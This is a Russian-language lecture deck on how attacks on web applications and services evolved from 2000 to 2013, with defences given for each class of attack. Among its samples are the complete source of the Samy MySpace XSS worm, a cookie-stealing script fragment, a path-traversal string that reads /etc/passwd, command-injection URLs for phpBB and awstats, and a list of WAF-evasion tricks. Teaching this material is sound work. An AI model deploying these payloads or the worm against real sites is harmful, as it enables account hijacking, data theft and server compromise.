Transcript 201 - c3ret

Эволюция атак на вебприложения и веб-сервисы
Безопасность веб-технологий
2
О чем будем говорить
 Что такое веб-приложение и веб-служба
 Какие проблемы с безопасностью существуют
 Как эти проблемы используются хакерами
3
О чем говорить не будем
 Отличие злоумышленникам от хакера
 Отличие угроз, уязвимостей и атак
 Отличия различных типов средств защиты
4
Что есть веб- приложение/служба

Что есть веб?

Веб-приложение = клиент (браузер или его аналог) + веб-сервер (который может включать в
себя веб-службы)

Веб-служба (SOA) = клиент (Requester) + интерфейс (Broker) + логика (Provider)

Где встречаются:
 Периметр (интернет-сайты, динамический контент для клиентов, удаленный доступ)
 Внутренний сегмент (серверы приложений, базы знаний и т. п.)

Кем употребляется: всеми, но веб-службы обычно в серьезных проектах

Зачем употребляется:
 организация удаленного доступа (SSL VPN, электронная почта);
 администрирование (сетевыми устройствами, ботами ;));
 представление данных внешним пользователям (интернет-сайты, динамический контент для клиентов,
базы знаний);
 взаимодействие между серверами приложений.
5
Отличия
Будем считать, что:
 Веб-приложение:
 «условно» стандартизовано
 HTTP/HTTPS
 Веб-сервис
 стандартизованные протоколы и
сообщения
 Интернет и интранет
 SOAP через HTTP/HTTPS, SMTP
(редко)
 Подразумевает «живого»
клиента
 Чаще – интранет
 Подразумевает клиентаавтомат
Пару слов о RESTful API…
6
Пример архитектуры
 Клиент (браузер, сценарий), веб-сервер.
 Опционально – СУБД, балансировщики нагрузки, IDS/IPS/WAF,
фронтенды, различные службы (веб-, каталогов и т.п.)
 Множество нововведений 200* - 201*
7
Примеры средств защиты
 «Низкие» уровни OSI, пакеты - межсетевой экран, роутер
 Пакеты, сегменты и данные - IPS/IDS (функции часто присутствуют в
фаерволе)
 Данные - Web Application Firewall (WAF) – софт и железо.
 Функции: фильтрация контента и прочее.
 Примеры: mod_security (софт), Barracuda WAF (железо).
 Встроенная функциональность платформ и языков (safe_mode, taint
mode, etc.)
 Надстройки(администраторам - Suhosin, разработчикам – AntiXSS и
аналоги)
8
Выводы (веб-приложения)
 Логика работы уходит к клиенту
 Рост популярности в корпоративном секторе (предпочтение тонкому
клиенту)
 Становятся более защищенными (и сервер, и клиент)
9
Атаки на веб-приложения (общее)
 Нарушение запланированной логики работы приложения (код,
архитектура, дизайн, конфигурация, etc.)
 Все внешние данные – опасны, если они работают с интерфейсами,
которые могут влиять на работу системы
 Факт: приемлемый интернет, дырявый интранет
10
Атаки на веб-приложения (200*)
 Как проводятся: руки, отдельные эксплоиты, простейшие сканеры
 Ограниченное число технологий: ASP .NET, Perl (CGI), PHP.
 Массовые атаки (черви Blue Code, Code Red, etc.)
 Массовая эксплуатация уязвимостей в реализации (BoF’ы и иже с
ними)
 Атак много – эксплуатируется (из общего числа) мало
 Обилие рабочих эксплоитов
 Рассмотрим самые распространенные уязвимости (статистика
компаний упирается в своих специалистов или вообще в наличие
репортов об уязвимостях)
11
Атаки на веб-приложения (200*) –
Переполнение буфера (BoF), теория
 Самая популярная уязвимость, в вебе также распространена
 Причины:
 память несовершенна - критичная временная информация (окружение),
хранимое в областях памяти (стек, куча) может быть перезаписана;
 кодим обработку данных, но не думаем над характеристиками
 Как: отправляем данные, которые выполняются как нужные инструкции
 Результат: от чтения значений переменных до выполнения произвольного
кода
12
Атаки на веб-приложения (200*) –
Переполнение буфера (BoF), практика
 Часто встречались в различных
расширениях и дополнениях к серверу.
Например:
 Apache OpenSSL heap overflow exploit:
get_client_master_key(), KEY_ARG
 MS IIS 5.0 ISAPI printer BoF:
http://#{buf}/NULL.printer?#{payload.
encoded}
13
Атаки на веб-приложения (200*) –
Загрузка произвольных файлов
(Unrestricted File Upload), теория
 Что это и где: загрузка непредусмотренных типов файлов; везде,
где есть загрузка файлов (изображения, отладочная
информация к тикетам, шаблоны и т.п.) – чаще в админках
 Причины: отсутствие фильтрации параметров загрузки файла
(имени, содержимого, пути загрузки, etc.)
 Как:

подмена MIME-type;

внедрение кода в корректный файл;

различные расширения (некорректные, длинные, множественные, пустые и т.п.);

использование функций платформы;

загрузка управляющих файлов (.htaccess, web.config, crossdomain.xml etc.);

нуль-байт в имени (например, при указании пути сохранения)
 Профит: от создания FTP-хранилища но захвата сервера
14
Атаки на веб-приложения (200*) –
Загрузка произвольных файлов
(Unrestricted File Upload), теория
Защита:
избегать возможности загрузки ;
использовать белые списки имен и расширений;
фильтровать Content-type;
принудительное приведение типов содержимого к
безопасному (text/plain);
загружать в директории, недоступные хакеру.
15
Атаки на веб-приложения (200*) –
Загрузка произвольных файлов
(Unrestricted File Upload), практика
 CVE-2006-3362: Unrestricted file upload vulnerability in
connectors/php/connector.php in FCKeditor ... allows remote attackers to upload
and execute arbitrary PHP code via a filename with a .php extension and a trailing
extension that is allowed, such as .zip.
Пример с .htaccess:
16
Атаки на веб-приложения (200*) –
XSS, теория
 Что это и где: атаки на клиентов путем подмены генерируемых веб-страниц
(внедрение любого кода, с которым может работать браузер); везде, где
пользовательские данные выступают как код, обрабатываемый браузером
(HTML содержимое, сценарии, Flash и т.п.). Часто встречаются в выводе
системных сообщений различных компонентов (XML-парсеры,
трассировка запросов СУБД, etc.)
 Причины: отсутствие фильтрации данных, их использование для
формирования представления ответа браузеру
 Как: зависит от типа XSS, переход по ссылке клиентом
 Профит: обход SOP, перехват критичных данных (куки, токены, пароли),
слежка за пользователем, эксплуатация уязвимостей клиентской части,
помощь в других атаках (CSRF, HTTP Response Splitting, etc.)
 Защита: фильтрация ввода и вывода (встроенные средства – например,
html_safe), использование библиотек (AntiXSS), заголовки X-XSS-Protection,
безопасная установка куки (время, флаги)
17
Атаки на веб-приложения (200*) –
XSS, практика
 Примеры атак:
 “><script … new Image() … img.src = ‘’ + document.cookie
 Samy is my hero (2005) : 1млн пользователей за 20 часов. Причина –
специфика работы со стилями браузеров
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var
A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function
getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new
Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var
M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function
getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var
Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return
false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('ContentLength',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function
getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var
W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else
if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var
AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var
AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function
getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var
AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToStrin
g(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,not
hing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var
BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfrien
d_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var
AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to
Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return
false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-formurlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
18
Атаки на веб-приложения (200*) –
Внедрение операторов SQL (SQLinjection), теория
 Что это и где: внедрение своего кода в легальный SQL-запрос (по-сути, программу);
везде, где есть запросы СУБД, но нет фильтрации передаваемых параметров
запроса
 Причины: небезопасное создание запросов (конкатенация или замена строк) с
использованием пользовательских данных, отсутствие их фильтрации
 Как: тестируем простейшую логику, определяем структуру начального запроса,
корректно внедряем нужный код (зависит от типа запроса – обычно DML, от типа
СУБД и ее версии)
 Профит: от чтения полей (например, данные кредиток) и создания DoS до удаления
БД или захвата сервера
 Защита: использование безопасного API (LINQ, плейсхолдеры (prepared statements –
сначала запрос, затем данные, обработка последовательная), надстройки для
статического анализа (CAT.NET), приведение типов данных, отключение вывода
ошибок, жесткая фильтрация прав, шифрование хранимых данных
19
Атаки на веб-приложения (200*) – Внедрение
операторов SQL (SQL-injection), практика
 RBS WorldPay – 9 млн. $ из 130 ATM
Согласно информации, представленной в
материалах обвинения, лимиты снятия наличности
по картам через ATM и при расчётах через POSтерминалы были увеличены по различным картам от
5 тыс. USD до 500 тыс. USD.
UPDATE Card SET ATMxxxxxLimit = 500000,
POSxxxxxLimit = 500000, ATMxxxxxxxxx = 500000,
ATMxxxxxLimit2 = 500000, POSxxxxxLimit2 = 500000,
ATMxxxxxxxxx2 = 500000 WHERE xxxx PAN IN
('xxxxxxxxxxxx1627')
 Вполне себе используются для распространения
вредоносного ПО (особенно MSSQL)
; UPDATE [‘+@T+’] SET … [‘+@C+’] … <script src
20
Атаки на веб-приложения (200*) –
Подключение произвольных файлов (*-file
inclusion/reading), теория

Что это и где: возможность подключения сценария (произвольного или доступного) или
чтения произвольного (в пределах прав) файла. Универсальна по отношению к
платформам и ЯП. Встречается в любых функциях работы с локальной (../../../../) или
удаленной (file:///) файловой системой

Причины: неверная обработка путей к файлам, выход за пределы исходного каталога,
отсутствие фильтрации параметров подключения сценариев (схем, хостов и т.п.)

Как: указываем известное имя MIME-нейтрального файла (robots.txt, .htaccess), тестируем
возможность чтения иных локальных файлов и отсечения ненужных частей (%00, …, ?, %23),
подключения удаленных файлов

Профит: раскрытие исходного кода, получение учетных данных, выполнение произвольного
кода (через использование схем php://input, \\, php://filter/convert.base64encode/resource= 2013)

Защита: установка настроек, ограничивающих подключение файлов (allow_url_* = Off),
проверка в коде и обработчиках веб-сервера по соответствию регулярному выражению
(опасно) – структура, длина и т. п., приведение к нужной форме корректная настройка
прав доступа к файлам, экранирование спец. символов
21
Атаки на веб-приложения (200*) –
Подключение произвольных файлов (*-file
inclusion/reading), практика
 Классика:
<?php include (“includes/”.$_GET[‘file’].”.inc”; ?>
?file=../../../../../../../../../../etc/passwd%00
 Читаем passwd (здесь – JSP):
а затем …
22
Атаки на веб-приложения (200*) –
Внедрение команд/кода
(Command/code injection), теория
 Что это: интерпретация данных как кода, аргументов запуска утилит, небезопасное
использование модификатора /e при работе с регулярками, функции eval(), exec(),
system() и т.п.
 Причины: программист злоупотребляет командными интерфейсами и мешает код и
данные пользователя, отсутствие фильтрации пользовательского ввода
 Как: тестить спец. символы - &&, |, ., ; (и какие угодно еще в зависимости от
контекста)
 Профит: зависит от имеющихся прав у приложения и иных компонентов сервера
(вплоть до управления сервером от суперпользователя)
 Защита: не вызывать опасные функции (интерпретаторы команд) , использовать API
«обертки» и безопасные режимы работы платформ (taint mode в Perl и Ruby),
фильтровать ввод по черным, белым спискам и регуляркам, экранировать
потенциально опасные данные, минимизация привилегий приложения
Атаки
на веб-приложения (200*) – Внедрение
23
команд/кода (Command/code injection),
практика
 PhpBB <= 2.0.15 (PHP):
preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se',"@preg_replace('#\b(" .
str_replace('\\','\\\\', $highlight_match) . ")\b#i','<span style=\"color:#" .
$theme['fontcolor3'] ."\"><b>\\\\1</b></span>', '\\0')", '>' . $message . '<');
$action = "/viewtopic.php?t=$topic&highlight=%2527%252esystem(".$cmd."
)%252e%2527";
OmniHTTPd 2.07 (Perl):
if(open(CONFIG,"$searchdir$PROG.$SiteConfig.conf"))
/cgi-bin/awstats.pl?configdir=/usr/bin/id%20%3E%20/tmp/id%20|%20
24
Атаки на веб-приложения (200*) иное
Малое количество защитных мер, непопулярность бест-практис и
отсутствие внимания к безопасности в целом, малое количество
грамотных специалистов в ИБ (как защита, так и атака), отсутствие
стандартизации (в первую очередь, в браузерах), вся логика у сервера,
WEB 2.0 еще не вырос:
 брутфорс (идентификационные данные, расположение ресурсов при
корявых правах доступа);
 мало клиент сайда и много сервер-сайда, работало все подряд при малом
количестве защитных мер (например, XST);
 ошибки конфигураций (индексация директорий, некорректная обработка
исключений, переключение методов запроса, ошибки с расширениями
файлов и т. п.).
25
Атаки на веб-приложения (201*)

Многие – новая коммерческая обертка для старых

Нарушение логики работы архитектуры взаимодействия

Атак много – эксплуатируется много (рост квалификации, доступность информации и средств эксплуатации)

Более сложные (нужно уметь читать код – DOM XSS, действовать в жестких условиях (SQL blind), хорошо понимать архитектуру
приложения и сети (SSRF))

Комплексные (например, XSS+CSRF)

Как проводятся: руки, плагины, сканеры, фреймворки, онлайн-сервисы.

Необходимость обхода средств защиты (WAF, встроенные механизмы защиты в платформах):

смена представления (кодировки);

множественные вхождения идентичных параметров (заголовки, переменные)

регистр (часто) и длина (редко);

изменение способов передачи (подделка методов, http->https)

фрагментация данных (chunked);

использование синонимов (функции, методы, например onerror->onclick)

Многие атаки канули в Лету (встречаются, но почти бесполезны для хакера – HRS, JSON hijacking, XST)

Разнообразие платформ и языков
Рассмотрим самые популярные (и посмотрим на версию OWASP)
26
Распространенность проблем
(рисков) по версии OWASP
27
Атаки на веб-приложения (201*) –
Подделка межсайтовых запросов (CSRF),
теория
 Что это: возможность совершения действий в результате
непреднамеренной (или преднамеренной, но неочевидной)
инициации запроса к серверу от авторизованного пользователя
 Причины: корень зла – отсутствие нормальных механизмов контроля
параметров запроса клиента
 Как: найти запрос, отправляемый любым способом и выполняющий
нужное действие сразу же по результатам его обработки без
применения «секретных» параметров запроса, сформировать
страницу, инициирующую запрос любым доступным методом и
вынудить атакуемого пользователя ее открыть
 Профит: авы
 Защита: anti-CSRF токены, на всякий случай – проверка Referer
28
Атаки на веб-приложения (201*) –
Подделка межсайтовых запросов (CSRF),
практика
 Наличие инструкций в URI –
самый очевидный, но не
единственный показатель;
 Существовали и ранее, но не
было так популярно, так как
успешная атака подразумевает
знание параметров запроса
(соц. сервисы – да,
самописная админка – нет).
29
Атаки на веб-приложения (201*) - BoF
 Все еще живы (и будут), но в крупных веб-серверах, модулях
встречаются все реже (nginx и обработка chunked запросов в
контексте ctx, CVE-2013-2028)
+
if (ctx->size < 0 || ctx->length < 0) {
+
+
goto invalid;
}
 Рост сложности эксплуатации (защитные меры)
 Выгоднее не делать эксплоит, но искать уязвимость
30
Атаки на веб-приложения (201*) - XSS
 Новые механизмы защиты (IE X-XSS-Protection, FF NoScript,
Chrome Anti-XSS filter, Content Security Policy)
 Активное использование давно существующих средств защиты
(httpOnly, 2002) => необходимость их обхода (длинные
заголовки->раскрытие куки, Java HTTP Api - getHeaderField)
 Web 2.0, HTML 5/CSS 3.0, рост комплексных и DOM-based
 AJAX и проблема Content-type
 Server-side XSS
31
Атаки на веб-приложения (201*) - SQL
 Скорее исключение, чем правило
 Значительное снижение распространенности в результате наличия
защитных механизмов компонентов веб-приложений и использования
безопасных методов программирования
 Ограничение возможностей злоумышленника по умолчанию в СУБД –
блокировка доступа к различным объектам данных
32
Атаки на веб-приложения (201*) – через
Ошибки авторизации (Missing Function
Level Access Control)
 Стали еще более популярны
 В связи с необходимостью корректной настройки множества
разнородных компонентов администраторы забывают про
простейшие требования к безопасности
 Частый случай – 9 из 10 административных сценариев/функций
недоступны, но один – доступен. Осталось найти его имя и параметры.
33
Атаки на веб-приложения (201*) –
Ошибки в логике (Logic flaws)
 Были всегда, но популярность возрастает – как за счет усложнения
эксплуатации других атак, так и за счет роста кол-ва и сложности
взаимодействующих компонентов
 Не могут быть найдены при помощи автоматизированных средств
 Требуют ясного понимания принципов взаимодействия компонентов
приложения
 Примеры: использование функции дешифрования с одинаковыми
параметрами для критичных и некритичных данных (доступных для
просмотра пользователю), управление потоком выполнения на
основании наличия/отсутствия переменной, безотносительно к ее
значению
34
Атаки на веб-приложения (201*) –
криптография
 Требуют кропотливого труда и запаса времени и поэтому обычно
ориентированы на массовость (SSL/TLS, ASP .NET)
 Лидеры рейтинга техник веб-хакинга (WhiteHat Security) за последние 4
года
 Чаще всего доходят до PoC’а, но требуют весьма специфических
условий
35
Атаки на веб-приложения (201*) – модули,
плагины, расширения, апплеты
 Широкое разнообразие надстроек
 Разнородные ошибки – от XSS до доступа к приватным методам
защищенных классов
 В большинстве случаев – необходимость обхода sandbox (но Java не
такая , i.e. Rhino Script Engine)
 Высокая рентабельность разработки эксплоитов => популярность
36
Атаки на веб-приложения (201*) –
Отказ в обслуживании
 Рост популярности не только классическими вариантами, но и через
эксплуатацию ошибок в приложениях, Web-протоколах и их
реализациях:
 ресурсоемкие криптографические операции, e.g. OpenSSL renegotiation)
(протокол/реализация)
 ресурсоемкие операции СУБД (приложение);
 Apache Killer и заголовок Range (протокол/реализация);
 HTTP POST DoS – медленная отправка больших объемов данных (протокол)
37
Атаки на веб-приложения (201*) –
иное
 Некоторые атаки встречаются все реже (LFI/RFI почти умер)
 Отдельные атаки никогда не умрут (небезопасная конфигурация,
ошибки в назначении прав доступа)
 «Социальные» атаки (ClickJacking, OpenRedirect, CSRF)
 «Белые» хакеры предпочитают искать возможность проведения самых
простых для обнаружения (но не всегда - для эксплуатации) атак: CSRF,
XSS, ClickJacking, OpenRedirect и т.п.
 Мобильные приложения и веб
38
Выводы (динамика развития атак на
веб 2000-2013)
 Акцент смещается к атакам на клиентов (почему? – коммерчески
выгодно фирмам – меньше трудозатраты, проще искать, теоретически
– сложнее отслеживать)
 Атаки становятся более комплексными
 Большая кучность, меньшая дальность: атаки становятся и более
сложными и более легкими (широкое распространение доп. средств
защиты – WAF’ы и т.п., а также наличие встроенных средств защиты в
компонентах, рост числа компонентов у клиентов – атаки через Java,
Flash, иные плагины etc.)
39
Дополнительно: какие еще атаки
бывают
 Другие инъекции (XML, XPath, LDAP, mail)
 Атаки на сессии (replay, fixation, prediction)
 Утечки информации
 Проблемы «предсказуемости» (путей, сценариев, функций, значений
параметров)
 Прочее
40
Интересные материалы
 Ресурсы:
http://www.slideshare.net/MattJohansen/top-10-web-hacks-2012
https://www.pentesterlab.com/web_for_pentester/web_for_pentester.pdf
https://www.owasp.org
http://www.slideshare.net/andrewpetukhov/starter-edition
 Книги (последние издания):
 Web Application Hacker/Defender Handbook;
 24 смертных греха компьютерной безопасности;
 The tangled Web.